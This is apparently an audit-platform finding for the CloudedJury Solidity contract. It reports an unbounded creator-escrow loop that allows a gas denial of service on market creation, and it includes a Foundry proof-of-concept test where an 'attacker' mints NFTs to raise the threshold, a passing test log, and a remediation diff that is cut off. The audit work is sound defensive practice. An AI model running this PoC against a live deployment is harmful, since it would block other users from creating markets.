     error NotOwner(uint256 tokenId);
     error NotStakedByOwner(uint256 tokenId);
     error JurySelected(bool selected);
     error MarketResolved(bool resolved);
     error InsufficientPayment();
     error StakeRequiredAmounts();
 }
\ No newline at end of file

Affected files

  • CloudedJury.sol
  • src/CloudedJury.sol

Validation output

[output truncated: 1171 lines & 64.5517578125 KB skipped]
Ran 1 test suite in 10.07ms (3.56ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/Poc.t.sol:PocTest
[FAIL: bug: unrevealed hits consume all attempts and leave an empty selected jury: 1 != 0] test_selectJuryConsumesDrawsOnUnrevealedStakesAndReturnsEmptyJury() (gas: 5244423)

Encountered a total of 1 failing tests, 0 tests succeeded

Tip: Run `forge test --rerun` to retry only the 1 failed test
Tip: Run `forge test --debug --match-test <TEST_NAME>` to inspect one failing test in the debugger

Unbounded Creator Escrow Can DoS Markets

Medium#298650Validity: Unreviewed

Comment:

Each NFT carries a non-refundable 0.01 HYPE fee that goes towards buyback, making large-scale accumulation costly and economically irrational. The attack also requires continuous capital lockup — once the protocol becomes unprofitable, mass redemptions will naturally reduce total supply and bring the creation threshold back down.

Source locations

Uploaded archive/CloudedJury.sol (3 locations)

Lines 248-261 — _Caller-controlled mint amount has no explicit maximum and grows the NFT supply in a loop._

    function mint(uint256 _amount) external payable nonReentrant {
        if (whitelisted && !whitelisted_[msg.sender]) revert Whitelisted();

        if (_amount == 0) revert ZeroAmount();

        uint256 _mintPrice = 3 * _amount * DECIMALS; // The price for minting an NFT is 3 $HYPE
        if (msg.value < _mintPrice) revert InsufficientPayment();

        for (uint256 i = 0; i < _amount; i++) {
            _mint(msg.sender, nextTokenId_);
            nextTokenId_++;
        }

        IDAO(DAO).buyBack{value: _amount * DECIMALS / 100}();
⋯ code omitted for brevity ⋯

Lines 321-339 — _Creator escrow length is only checked against a lower bound and is processed in an unbounded loop._

    function createMarket(string memory _name, string memory _rule, string[] memory _outcomes, uint256 _days, uint256[] memory _tokenIds, uint256 _outcomePosition, uint256 _shares) external payable nonReentrant {
        if (_outcomePosition == 0 || _outcomePosition > _outcomes.length) revert InvalidId();

        uint256 _requiredTokenAmount = _getCurrentCreateMarketPrice();
        if (_tokenIds.length < _requiredTokenAmount) revert StakeRequiredAmounts();

        uint256 _nextMarketId = IClouded(CLOUDED).nextMarketId();
        for (uint256 i = 0; i < _tokenIds.length; i++) {
            if (_ownerOf(_tokenIds[i]) != msg.sender) revert NotOwner(_tokenIds[i]);
            marketCreatorTokenOf_[msg.sender][_nextMarketId].add(_tokenIds[i]);
            _update(address(this), _tokenIds[i], msg.sender);
            emit CreateMarket(msg.sender, _nextMarketId, _tokenIds[i]);
        }

        allOngoingMarketIds_.add(_nextMarketId);
        marketOf_[msg.sender].add(_nextMarketId);
        markets_[_nextMarketId].creatorTokens = _tokenIds.length;

        uint256[] memory _outcomeIds = IClouded(CLOUDED).createMarket(_name, _rule, _outcomes, _days);
⋯ code omitted for brevity ⋯

Lines 498-507 — _The dynamic creation threshold is derived from the internal supply mirror._

    function _getCurrentCreateMarketPrice() private view returns (uint256) { return totalSupply_ / 100 > 5 ? totalSupply_ / 100 : 5; }

    function _update(address _to, uint256 _tokenId, address _auth) internal override returns (address) {
        address from = super._update(_to, _tokenId, _auth);

        if (from == address(0)) totalSupply_++;
        if (_to == address(0)) totalSupply_--;

        if (from != address(0)) tokenOf_[from].remove(_tokenId);
        if (_to != address(0)) tokenOf_[_to].add(_tokenId);

Description

CloudedJury.createMarket accepts an arbitrarily long _tokenIds array and performs an ownership check, set insertion, NFT transfer, and event emission for every element. The collateral threshold itself is derived from totalSupply_, while mint accepts an arbitrary _amount and also loops once per NFT, allowing a funded actor to grow the required creation batch without a protocol-level upper bound. Once the required batch or a caller-selected batch exceeds the block gas budget, valid market creation cannot complete even though the individual IDs and minimum-length check are otherwise valid. The delegated Clouded call does not provide a bound because its outcome array is capped separately but the creator escrow array is not.

Root cause

The protocol couples a supply-proportional admission requirement to unbounded per-token loops without a maximum supply or maximum creator escrow batch.

Impact

An actor that acquires and retains enough juror NFTs can force future creators to submit increasingly expensive and eventually uncallable escrow batches, creating a liveness denial of service for market creation. The failure is protocol-wide for new markets until the inflated supply is reduced or the deployment is replaced.

Proof of concept

Test case

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Test} from "forge-std/Test.sol";
import {Clouded} from "../src/Clouded.sol";
import {CloudedDAO} from "../src/CloudedDAO.sol";
import {CloudedJury} from "../src/CloudedJury.sol";
import {CloudedManager} from "../src/CloudedManager.sol";

contract ManagerTokenMock {
    mapping(address => uint256) private balances;
    uint256 private supply;

    function configure(address holder, uint256 amount) external {
        supply = amount;
        balances[holder] = amount;
    }

    function balanceOf(address account) external view returns (uint256) { return balances[account]; }
    function totalSupply() external view returns (uint256) { return supply; }
}

contract PocTest is Test {
    address internal constant GOVERNANCE_TOKEN = 0x668f6C73b2e6d023f758B18973065Ce2c11BDD7B;
    address internal admin = makeAddr("manager-admin");
    address internal creator = makeAddr("baseline-creator");
    address internal attacker = makeAddr("supply-inflating-attacker");
    address internal victimCreator = makeAddr("future-market-creator");

    CloudedManager internal manager;
    CloudedJury internal jury;
    Clouded internal clouded;
    CloudedDAO internal dao;

    function setUp() public {
        ManagerTokenMock implementation = new ManagerTokenMock();
        vm.etch(GOVERNANCE_TOKEN, address(implementation).code);
        ManagerTokenMock(GOVERNANCE_TOKEN).configure(admin, 100 ether);

        manager = new CloudedManager();
        jury = new CloudedJury("Clouded Jury", "JURY", address(manager));
        clouded = new Clouded("ipfs://clouded/", address(manager), address(jury));
        dao = new CloudedDAO("Clouded DAO", "CDAO", address(jury), address(clouded));

        vm.startPrank(admin);
        manager.updateJuryAddrs(address(jury), address(clouded), address(dao));
        manager.updateCloudedAddr(address(clouded));
        manager.addToWhitelist(creator);
        vm.stopPrank();

        vm.deal(creator, 100 ether);
        vm.prank(creator);
        jury.mint{value: 15 ether}(5);
    }

    function test_unboundedCreatorEscrowGasDoS() public {
        uint256 baselineRequirement = jury.getCurrentCreateMarketPrice();
        assertEq(baselineRequirement, 5, "initial admission price is the floor");

        uint256 baselineGas = _createMarketAndMeasureGas(creator, jury.getUserTokenIds(creator));
        assertEq(clouded.nextMarketId(), 2, "baseline market creation succeeded through real entrypoint");

        vm.prank(admin);
        manager.updateWhitelisted();

        vm.deal(attacker, 6_000 ether);
        vm.prank(attacker);
        jury.mint{value: 5_910 ether}(1_970);

        vm.deal(victimCreator, 100 ether);
        vm.prank(victimCreator);
        jury.mint{value: 75 ether}(25);

        uint256 inflatedRequirement = jury.getCurrentCreateMarketPrice();
        assertEq(inflatedRequirement, 20, "attacker-controlled supply raised required creator escrow");
        assertGt(inflatedRequirement, baselineRequirement, "creation batch scales with retained NFT supply");

        uint256[] memory victimTokens = jury.getUserTokenIds(victimCreator);
        uint256[] memory minimumValidEscrow = _slice(victimTokens, inflatedRequirement);
        assertEq(minimumValidEscrow.length, inflatedRequirement, "PoC uses the minimum valid inflated batch");
        for (uint256 i = 0; i < minimumValidEscrow.length; i++) {
            assertEq(jury.ownerOf(minimumValidEscrow[i]), victimCreator, "all escrow IDs are valid and owned by creator");
        }

        uint256 nextMarketBefore = clouded.nextMarketId();
        uint256 gasCapThatBaselineCanClear = baselineGas + 100_000;
        uint256 creationValue = _creatorBuyPrice();

        vm.prank(victimCreator);
        (bool ok, ) = address(jury).call{value: creationValue, gas: gasCapThatBaselineCanClear}(
            abi.encodeWithSelector(
                jury.createMarket.selector,
                "Will inflated escrow fit?",
                "This market has valid inputs and the minimum currently required creator escrow.",
                _twoOutcomes(),
                uint256(1),
                minimumValidEscrow,
                uint256(1),
                uint256(10)
            )
        );

        assertFalse(ok, "minimum valid inflated market creation exhausts the baseline-clearing gas cap");
        assertEq(clouded.nextMarketId(), nextMarketBefore, "failed creation leaves no new market");
        assertEq(jury.balanceOf(victimCreator), 25, "creator's valid NFTs remain unlocked only because the whole call reverted");
    }

    function _createMarketAndMeasureGas(address maker, uint256[] memory collateral) internal returns (uint256 gasUsed) {
        uint256 creationValue = _creatorBuyPrice();
        uint256 gasBefore = gasleft();
        vm.prank(maker);
        jury.createMarket{value: creationValue}(
            "Will baseline creation pass?",
            "A valid baseline market used to measure the real createMarket gas before supply inflation.",
            _twoOutcomes(),
            1,
            collateral,
            1,
            10
        );
        gasUsed = gasBefore - gasleft();
    }

    function _creatorBuyPrice() internal view returns (uint256) {
        return clouded.getPriceAppreciation(clouded.nextOutcomeId(), true, 10);
    }

    function _twoOutcomes() internal pure returns (string[] memory outcomes) {
        outcomes = new string[](2);
        outcomes[0] = "YES";
        outcomes[1] = "NO";
    }

    function _slice(uint256[] memory input, uint256 count) internal pure returns (uint256[] memory output) {
        output = new uint256[](count);
        for (uint256 i = 0; i < count; i++) output[i] = input[i];
    }
}

Setup script

#!/bin/bash
set -e

# Standalone PoC reproduction. Run from the repository root of a checkout at
# the audited commit, with the language toolchain installed.

# Place the downloaded PoC files at these paths before running:
#   test/Poc.t.sol

# build and run
cp Clouded.sol CloudedDAO.sol CloudedJury.sol CloudedManager.sol src/ && forge build
forge test --match-path test/Poc.t.sol -vv

Output

[output truncated: 1167 lines & 64.203125 KB skipped]
[test] forge test --match-path test/Poc.t.sol -vv
[test] exit code: 0

No files changed, compilation skipped

Ran 1 test for test/Poc.t.sol:PocTest
[PASS] test_unboundedCreatorEscrowGasDoS() (gas: 144052904)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 26.12ms (24.39ms CPU time)

Ran 1 test suite in 27.07ms (26.12ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Considerations

PoC passed with forge test --match-path test/Poc.t.sol -vv: it exercises real CloudedJury.mint and CloudedJury.createMarket through public entry points, shows attacker-retained NFT supply raises getCurrentCreateMarketPrice() from 5 to 20, and shows a minimum-valid inflated createMarket call fails under a gas cap that a pre-inflation valid market creation cleared. The executable test uses a bounded gas cap rather than minting enough NFTs to exceed an actual production block gas limit; the real block-level DoS is the same unbounded linear loop scaled further by additional public mints.

Validation reasoning

PoC validation command completed successfully.

Remediation

Explanation

Caps the supply-derived creator collateral requirement at 10 NFTs and requires exactly that bounded batch, eliminating both supply-driven and caller-selected unbounded escrow loops.

Patch

diff
diff --git a/src/CloudedJury.sol b/src/CloudedJury.sol
--- a/src/CloudedJury.sol
+++ b/src/CloudedJury.sol
@@ -1,646 +1,651 @@
 // SPDX-License-Identifier: MIT
 
 pragma solidity ^0.8.24;
 
 import { Strings } from "@openzeppelin/contracts/utils/Strings.sol";
 import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
 import { ReentrancyGuardTransient } from "@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol";
 
 library Ids {
     struct Set {
         uint256[] ids;
         mapping(uint256 => uint256) positions;
     }
 
     function add(Set storage set, uint256 _id) internal {
         if (set.positions[_id] == 0) {
             set.ids.push(_id);
             set.positions[_id] = set.ids.length; // skip index 0 for non existing element
         }
     }
 
     function remove(Set storage set, uint256 _id) internal {
         uint256 _position = set.positions[_id];
         if (_position != 0) {
             uint256 _index = _position - 1;
             uint256 _lastIndexId = set.ids[set.ids.length - 1];
             set.ids[_index] = _lastIndexId;
             set.positions[_lastIndexId] = _position;
             set.ids.pop();
             delete set.positions[_id];
         }
     }
 
     function swap(Set storage set, uint256 _indexA, uint256 _indexB) internal {
         if (_indexA == _indexB) return;
         
         uint256 idA = set.ids[_indexA];
         uint256 idB = set.ids[_indexB];
 
         set.ids[_indexA] = idB;
         set.ids[_indexB] = idA;
 
         set.positions[idA] = _indexB + 1;
         set.positions[idB] = _indexA + 1;
     }
 
     function isSet(Set storage set, uint256 _id) internal view returns (bool) { return set.positions[_id] != 0; }
 
     function getId(Set storage set, uint256 _position) internal view returns (uint256) { return set.ids[_position]; }
 
     function getAll(Set storage set) internal view returns (uint256[] memory) { return set.ids; }
 
     function getLength(Set storage set) internal view returns (uint256) { return set.ids.length; }
 }
 
 interface IClouded {
     function nextMarketId() external view returns (uint256);
     function getMarketStartAtDaysOf(uint256) external view returns (uint256, uint256);
     function getOutcomeMarketId(uint256) external view returns (uint256);
     function getMarketOutcomeIds(uint256) external view returns (uint256[] memory);
     function getMarketWinningOutcome(uint256) external view returns (uint256);
     function getPriceAppreciation(uint256, bool, uint256) external view returns (uint256);
     function getMarketIndexInfoInBatch(uint256[] memory _marketIds) external view returns (string[] memory, uint256[] memory, uint256[][] memory, string[][] memory, uint256[][] memory, uint256[] memory, uint256[] memory, uint256[] memory);
     function getMarketResolutionInfoInBatch(uint256[] memory) external view returns (string[] memory, uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory);
     function createMarket(string memory, string memory, string[] memory, uint256) external returns (uint256[] memory);
     function buy(address, uint256, uint256, uint256, uint256, uint256) external payable;
     function claimJuryReward(address, uint256, uint256) external returns (uint256);
 }
 
 interface IDAO {
     function mint(address, uint256) external;
     function outcomeVotes(uint256) external view returns (uint256);
     function buyBack() external payable;
 }
 
 contract CloudedJury is ERC721, ReentrancyGuardTransient {
     using Strings for uint256;
     using Ids for Ids.Set;
 
     event AddToWhitelist(address indexed addr);
     event BatchMetadataUpdate(uint256 fromTokenId, uint256 toTokenId);
     event Stake(address indexed staker, uint256 indexed marketId, uint256 indexed tokenId);
     event Unstake(address indexed staker, uint256 indexed marketId, uint256 indexed tokenId);
     event CreateMarket(address indexed marketCreator, uint256 indexed marketId, uint256 indexed tokenId);
     event StakeAfter(address indexed staker, uint256 indexed marketId, uint256 marketStakes);
     event UnstakeAfter(address indexed staker, uint256 indexed marketId, uint256 marketStakes, bool isMarketOf);
     event CreateMarketAfter(address indexed marketCreator, uint256 indexed marketId, string marketName, string marketRule, uint256[] marketOutcomeIds, string[] marketOutcomeNames, uint256 startAt, uint256 daysOf);
     event RevealOutcome(uint256 indexed marketId, address indexed juryAddr, uint256 indexed juryOutcomeIdOf, bytes32 randomNumber, uint256 juryReveals, uint256 marketRevealedTS, uint256 juryOutcome);
     event SelectJury(uint256 indexed marketId, uint256 indexed tokenId, uint256 indexed tokenOutcomeId, address tokenOwner);
     event Challenge(address indexed challenger, uint256 indexed marketId, uint256 indexed tokenId, uint256 marketChallengedTS);
     event ResolveMarket(uint256 indexed marketId, uint256 votingOutcomeId, uint256 resolvedOutcomeId);
     event ClaimCreatorToken(address indexed creator, uint256 indexed marketId, uint256 tokenId);
     event ClaimChallengerReward(address indexed challenger, uint256 indexed marketId, uint256 tokenId, uint256 challengerReward);
     event ClaimJuryReward(address indexed staker, uint256 indexed marketId, uint256 tokenId, uint256 tokenReward);
     event ClaimRewardAfter(address indexed staker, uint256 indexed marketId, bool isMarketOf);
     event Slash(address indexed staker, uint256 indexed marketId, uint256 outcomeId, uint256 tokenId);
     event SendSlashedTokenToDAO(uint256 indexed marketId, uint256 tokens, uint256 tokenValue);
     event PublicLaunch();
 
     uint256 constant DECIMALS = 1e18;
+    uint256 constant MAX_CREATE_MARKET_TOKENS = 10;
     address public immutable MANAGER;
     address public CLOUDED;
     address public DAO;
 
     bool public whitelisted;
 
     // Overall protocol conditions
     string  private uri_;
     string  private baseURI_;
     uint256 private nextTokenId_;
     uint256 private totalSupply_;
     Ids.Set private allOngoingMarketIds_;
     Ids.Set private allResolvedMarketIds_;
     mapping(uint256 => Market) private markets_;
 
     // Staker conditions
     mapping(address => bool) private whitelisted_;
     mapping(address => Ids.Set) private tokenOf_;
     mapping(address => Ids.Set) private marketOf_; // Markets that stakers participate which include staking, creating, challenging
     mapping(uint256 => address) private tokenAddr_; // Staker token address
     mapping(address => mapping(uint256 => Ids.Set)) private marketTokenOf_;
     mapping(address => mapping(uint256 => Ids.Set)) private marketCreatorTokenOf_;
     mapping(address => mapping(uint256 => Ids.Set)) private marketChallengerTokenOf_;
     mapping(address => mapping(uint256 => bytes32)) private marketCommitHashOf_;
     mapping(address => mapping(uint256 => bool)) private marketHasRevealedOf_;
     mapping(address => mapping(uint256 => uint256)) private marketOutcomeOf_;
 
     // Staked tokens
     mapping(uint256 => Ids.Set) private marketStakes_; // total stakes in the market excluding creator and challenger tokens
     mapping(uint256 => Ids.Set) private marketJuryStakes_; // total stakes picked as jury
     mapping(uint256 => mapping(uint256 => uint256)) private juryOutcomeCount_;   // The amount of stakes in the jury, in the order of marketId → outcomeId → count
     mapping(uint256 => mapping(uint256 => uint256)) private marketOutcomeCount_; // The amount of stakes in the market
 
     struct Market {
         uint256 creatorTokens;
         uint256 challengerToken;
         uint256 marketRevealedTS;
         uint256 marketChallengedTS;
         uint256 marketReveals;
         uint256 juryOutcome;
         uint256 votingOutcome;
         bytes32 randomNumber;
         bool juryHasSelected;
         bool marketResolved;
         Status status;
     }
 
     enum Status {
         ONGOING, 
         JURY, 
         APPEAL, 
         VOTING, 
         SETTLED
     }
 
     modifier isManager() { if (msg.sender != MANAGER) revert NotAuthorized(); _; }
 
     constructor(string memory _name, string memory _symbol, address _managerAddr) ERC721(_name, _symbol) {
         MANAGER = _managerAddr;
         whitelisted = true;
         nextTokenId_ = 1;
     }
 
     function addToWhitelist(address _addr) external isManager {
         whitelisted_[_addr] = true;
         emit AddToWhitelist(_addr);
     }
 
     function publicLaunch() external isManager { whitelisted = false; emit PublicLaunch(); }
 
     function isWhitelisted(address _addr) external view returns (bool) { return whitelisted_[_addr]; }
 
     function tokenURI(uint256 _tokenId) public view override returns (string memory) {
         _requireOwned(_tokenId);
         return bytes(baseURI_).length > 0 ? baseURI_ : string.concat(uri_, _tokenId.toString());
     }
 
     function updateURI(string memory _newBaseURI, string memory _newURI) external isManager {
         baseURI_ = _newBaseURI;
         uri_ = _newURI;
         emit BatchMetadataUpdate(1, nextTokenId_ - 1);
     }
 
     function updateDAOAddr(address _daoAddr) external isManager { DAO = _daoAddr; }
 
     function updateCloudedAddr(address _cloudedAddr) external isManager { CLOUDED = _cloudedAddr; }
 
     function updateMarketStatus(uint256 _marketId) external returns (uint8) { return uint8(_updateMarketStatus(_marketId)); }
 
     function getAllOngoingMarketIds() external view returns (uint256[] memory) { return allOngoingMarketIds_.getAll(); }
 
     function getCurrentCreateMarketPrice() external view returns (uint256) { return _getCurrentCreateMarketPrice(); }
 
     function getResolvedMarkets() external view returns (uint256) { return allResolvedMarketIds_.getLength(); }
 
     function getResolvedMarketIds(uint256 _offset, uint256 _limit) external view returns (uint256[] memory ids) {
         uint256 _totalMarkets = allResolvedMarketIds_.getLength();
         if (_offset >= _totalMarkets || _limit == 0) return new uint256[](0);
 
         uint256 _end   = _totalMarkets - _offset;
         uint256 _count = _end > _limit ? _limit : _end;
 
         ids = new uint256[](_count);
         for (uint256 i = 0; i < _count; i++) { ids[i] = allResolvedMarketIds_.getId(_end - 1 - i); }
     }
 
     function getMarketStoredInfo(uint256 _marketId) external view returns (
         uint256 creatorTokens, 
         uint256 challengerToken, 
         uint256 marketRevealedTS, 
         uint256 marketChallengedTS, 
         uint256 marketReveals, 
         uint256 juryOutcome, 
         uint256 votingOutcome, 
         bytes32 randomNumber, 
         bool    juryHasSelected, 
         bool    marketResolved
     ) {
         Market storage market = markets_[_marketId];
         creatorTokens      = market.creatorTokens;
         challengerToken    = market.challengerToken;
         marketRevealedTS   = market.marketRevealedTS;
         marketChallengedTS = market.marketChallengedTS;
         marketReveals      = market.marketReveals;
         juryOutcome        = market.juryOutcome;
         votingOutcome      = market.votingOutcome;
         randomNumber       = market.randomNumber;
         juryHasSelected    = market.juryHasSelected;
         marketResolved     = market.marketResolved;
     }
 
     function getMarketDerivedInfo(uint256 _marketId) external view returns (uint256 resolvedOutcome, uint8 status) {
         resolvedOutcome = _getResolvedMarketOutcome(_marketId);
         Status _current = _getMarketStatus(_marketId);
         status = uint8(_current > markets_[_marketId].status ? _current : markets_[_marketId].status);
     }
 
     function getUserTokenIds(address _userAddr) external view returns (uint256[] memory) { return tokenOf_[_userAddr].getAll(); }
 
     function getStakerMarketIds(address _stakerAddr) external view returns (uint256[] memory) { return marketOf_[_stakerAddr].getAll(); }
 
     function getStakerMarketTokenIds(address _stakerAddr, uint256 _marketId) external view returns (uint256[] memory creatorTokenIds, uint256[] memory challengerTokenIds, uint256[] memory stakerTokenIds) {
         creatorTokenIds    = marketCreatorTokenOf_[_stakerAddr][_marketId].getAll();
         challengerTokenIds = marketChallengerTokenOf_[_stakerAddr][_marketId].getAll();
         stakerTokenIds     = marketTokenOf_[_stakerAddr][_marketId].getAll();
     }
 
     function mint(uint256 _amount) external payable nonReentrant {
         if (whitelisted && !whitelisted_[msg.sender]) revert Whitelisted();
 
         if (_amount == 0) revert ZeroAmount();
 
         uint256 _mintPrice = 3 * _amount * DECIMALS; // The price for minting an NFT is 3 $HYPE
         if (msg.value < _mintPrice) revert InsufficientPayment();
 
         for (uint256 i = 0; i < _amount; i++) {
             _mint(msg.sender, nextTokenId_);
             nextTokenId_++;
         }
 
         IDAO(DAO).buyBack{value: _amount * DECIMALS / 100}();
 
         uint256 _refund = msg.value - _mintPrice;
         if (_refund > 0) {
             (bool _success, ) = msg.sender.call{value: _refund}("");
             if (!_success) revert RefundFailed();
         }
     }
 
     function redeem(uint256[] memory _tokenIds) external nonReentrant {
         uint256 _amount;
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (_ownerOf(_tokenIds[i]) != msg.sender) revert NotOwner(_tokenIds[i]);
             _burn(_tokenIds[i]);
             _amount++;
         }
 
         if (_amount == 0) revert ZeroAmount();
 
         (bool _success, ) = msg.sender.call{value: _amount * 299 * DECIMALS / 100}("");
         if (!_success) revert RefundFailed();
     }
 
     function stake(uint256 _marketId, uint256[] memory _tokenIds, bytes32 _commitHash) external nonReentrant {
         if (_commitHash == 0) revert NoCommitHash();
         if (_tokenIds.length == 0) revert NoTokenSelected();
         if (_updateMarketStatus(_marketId) != Status.ONGOING) revert MarketEnded();
 
         uint256 _tokenId;
         Ids.Set storage marketStakes  = marketStakes_[_marketId];
         Ids.Set storage marketTokenOf = marketTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             _tokenId = _tokenIds[i];
             if (_ownerOf(_tokenId) != msg.sender) revert NotOwner(_tokenId);
             marketStakes.add(_tokenId);
             marketTokenOf.add(_tokenId);
             tokenAddr_[_tokenId] = msg.sender;
             _update(address(this), _tokenId, msg.sender);
             emit Stake(msg.sender, _marketId, _tokenId);
         }
         marketOf_[msg.sender].add(_marketId);
         marketCommitHashOf_[msg.sender][_marketId] = _commitHash;
         emit StakeAfter(msg.sender, _marketId, marketStakes.getLength());
     }
 
     function unstake(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.ONGOING) revert MarketEnded();
 
         Ids.Set storage marketStakes  = marketStakes_[_marketId];
         Ids.Set storage marketTokenOf = marketTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (!marketTokenOf.isSet(_tokenIds[i])) revert NotStakedByOwner(_tokenIds[i]);
             marketStakes.remove(_tokenIds[i]);
             _unstake(_marketId, _tokenIds[i]);
         }
         if (marketTokenOf.getLength() == 0) delete marketCommitHashOf_[msg.sender][_marketId];
         if (marketCreatorTokenOf_[msg.sender][_marketId].getLength() == 0 && marketChallengerTokenOf_[msg.sender][_marketId].getLength() == 0 && marketTokenOf.getLength() == 0) marketOf_[msg.sender].remove(_marketId);
         emit UnstakeAfter(msg.sender, _marketId, marketStakes.getLength(), marketOf_[msg.sender].isSet(_marketId));
     }
 
     function createMarket(string memory _name, string memory _rule, string[] memory _outcomes, uint256 _days, uint256[] memory _tokenIds, uint256 _outcomePosition, uint256 _shares) external payable nonReentrant {
         if (_outcomePosition == 0 || _outcomePosition > _outcomes.length) revert InvalidId();
 
         uint256 _requiredTokenAmount = _getCurrentCreateMarketPrice();
         if (_tokenIds.length < _requiredTokenAmount) revert StakeRequiredAmounts();
 
         uint256 _nextMarketId = IClouded(CLOUDED).nextMarketId();
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (_ownerOf(_tokenIds[i]) != msg.sender) revert NotOwner(_tokenIds[i]);
             marketCreatorTokenOf_[msg.sender][_nextMarketId].add(_tokenIds[i]);
             _update(address(this), _tokenIds[i], msg.sender);
             emit CreateMarket(msg.sender, _nextMarketId, _tokenIds[i]);
         }
 
         allOngoingMarketIds_.add(_nextMarketId);
         marketOf_[msg.sender].add(_nextMarketId);
         markets_[_nextMarketId].creatorTokens = _tokenIds.length;
 
         uint256[] memory _outcomeIds = IClouded(CLOUDED).createMarket(_name, _rule, _outcomes, _days);
         emit CreateMarketAfter(msg.sender, _nextMarketId, _name, _rule, _outcomeIds, _outcomes, block.timestamp, _days * 1 days);
 
         uint256 _outcomeId = _outcomeIds[_outcomePosition - 1];
         _creatorBuy(_nextMarketId, _outcomeId, _shares);
     }
 
     function revealOutcome(uint256 _marketId, uint256 _outcomeId, bytes32 _salt) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.JURY) revert JuryWindowEnded();
         if (IClouded(CLOUDED).getOutcomeMarketId(_outcomeId) != _marketId) revert InvalidId();
         if (marketHasRevealedOf_[msg.sender][_marketId]) revert OutcomeRevealed();
         marketHasRevealedOf_[msg.sender][_marketId] = true;
 
         bytes32 _commitHash = marketCommitHashOf_[msg.sender][_marketId];
         if (_commitHash == 0) revert NoCommitHash();
         if (keccak256(abi.encodePacked(msg.sender, _marketId, _outcomeId, _salt)) != _commitHash) revert WrongCommitHash();
         marketOutcomeOf_[msg.sender][_marketId] = _outcomeId;
 
         Market storage market = markets_[_marketId];
         market.randomNumber   = market.randomNumber ^ _salt;
 
         market.marketReveals     += marketTokenOf_[msg.sender][_marketId].getLength();
         if (market.marketReveals == marketStakes_[_marketId].getLength()) market.marketRevealedTS = block.timestamp;
 
         uint256 _winningOutcomeId;
         uint256 _winningOutcomeCount;
         uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
         marketOutcomeCount_[_marketId][_outcomeId] += marketTokenOf_[msg.sender][_marketId].getLength();
         for (uint256 i = 0; i < _marketOutcomeIds.length; i++) {
             if (marketOutcomeCount_[_marketId][_marketOutcomeIds[i]] > _winningOutcomeCount) {
                 _winningOutcomeId    = _marketOutcomeIds[i];
                 _winningOutcomeCount = marketOutcomeCount_[_marketId][_marketOutcomeIds[i]];
             }
         }
         market.juryOutcome = _winningOutcomeId;
 
         emit RevealOutcome(_marketId, msg.sender, _outcomeId, market.randomNumber, market.marketReveals, market.marketRevealedTS, market.juryOutcome);
     }
 
     function selectJury(uint256 _marketId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();
 
         if (markets_[_marketId].juryHasSelected) revert JurySelected(true);
         markets_[_marketId].juryHasSelected = true;
 
         uint256 _attempt;
         Ids.Set storage marketStakes = marketStakes_[_marketId];
         uint256 _totalStakedTokens   = marketStakes.getLength();
         uint256 _jurySet             = _totalStakedTokens == 0 ? 0 : _totalStakedTokens < 5 ? 1 : _totalStakedTokens / 5 < 300 ? _totalStakedTokens / 5 : 300;
         while (_attempt < _jurySet) {
             uint256 _position = _attempt + uint256(keccak256(abi.encodePacked(markets_[_marketId].randomNumber, _attempt))) % (marketStakes.getLength() - _attempt);
             marketStakes.swap(_attempt, _position);
 
             uint256 _tokenId        = marketStakes.getId(_attempt);
             address _tokenOwner     = tokenAddr_[_tokenId];
             uint256 _tokenOutcomeId = marketOutcomeOf_[_tokenOwner][_marketId];
             if (_tokenOutcomeId != 0) {
                 marketJuryStakes_[_marketId].add(_tokenId);
                 juryOutcomeCount_[_marketId][_tokenOutcomeId]++;
                 emit SelectJury(_marketId, _tokenId, _tokenOutcomeId, _tokenOwner);
             }
 
             _attempt++;
         }
     }
 
     // Challenge can only be made once every market. 
     // The token will be rewarded if the voters also agree with the same outcome, 
     // but will be slashed for being wrong.
     function challenge(uint256 _marketId, uint256 _tokenId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();
         if (_ownerOf(_tokenId) != msg.sender) revert NotOwner(_tokenId);
 
         Market storage market = markets_[_marketId];
         if (!market.juryHasSelected) revert JurySelected(false);
         if (market.marketChallengedTS != 0) revert MarketAlreadyChallenged();
         market.marketChallengedTS = block.timestamp;
         market.challengerToken++;
 
         marketOf_[msg.sender].add(_marketId);
         marketChallengerTokenOf_[msg.sender][_marketId].add(_tokenId);
 
         _update(address(this), _tokenId, msg.sender);
 
         emit Challenge(msg.sender, _marketId, _tokenId, block.timestamp);
     }
 
     function resolveMarket(uint256 _marketId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
 
         Market storage market = markets_[_marketId];
         if (market.marketResolved) revert MarketResolved(true);
         market.marketResolved = true;
 
         allOngoingMarketIds_.remove(_marketId);
         allResolvedMarketIds_.add(_marketId);
 
         bool _isMarketChallenged = market.marketChallengedTS != 0;
         if (_isMarketChallenged) {
             uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
             uint256[] memory _marketOutcomes   = new uint256[](_marketOutcomeIds.length);
             for (uint256 i = 0; i < _marketOutcomeIds.length; i++) _marketOutcomes[i] = IDAO(DAO).outcomeVotes(_marketOutcomeIds[i]);
             market.votingOutcome = _calculateMarketOutcome(_marketOutcomeIds, _marketOutcomes);
         }
 
         uint256 _resolvedOutcomeId = _getResolvedMarketOutcome(_marketId);
         _sendSlashedTokenValueToDao(_marketId, _resolvedOutcomeId);
 
         emit ResolveMarket(_marketId, market.votingOutcome, _resolvedOutcomeId);
     }
 
     function claimReward(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
